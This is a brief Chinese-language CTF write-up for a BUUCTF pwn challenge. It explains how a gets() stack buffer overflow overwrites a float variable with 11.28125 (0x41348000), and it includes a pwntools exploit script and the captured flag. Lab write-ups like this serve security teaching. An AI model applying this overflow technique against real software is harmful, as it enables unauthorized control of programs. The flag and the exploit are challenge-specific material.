下载文件,checksec看一下。
用IDA64打开文件,找到main函数,F5查看。
双击进去func函数。
输入的数传给v1,但是需要使v2=11.28125才能获得flag。我们查看一下v1和v2的栈信息。
因此我们可以利用gets先覆盖到v2
的部分,再跟上11.28125的十六进制数即可成功获取flag。
11.28125的16进制为0x41348000。
exp如下:
from pwn import *
p = remote('node4.buuoj.cn', 27823)
payload = b'a'*(0x30-0x04) + p32(0x41348000)
p.sendline(payload)
p.interactive()
得到flag
flag{5634a138-9e1b-47e3-8fa4-0a778a1c29d3}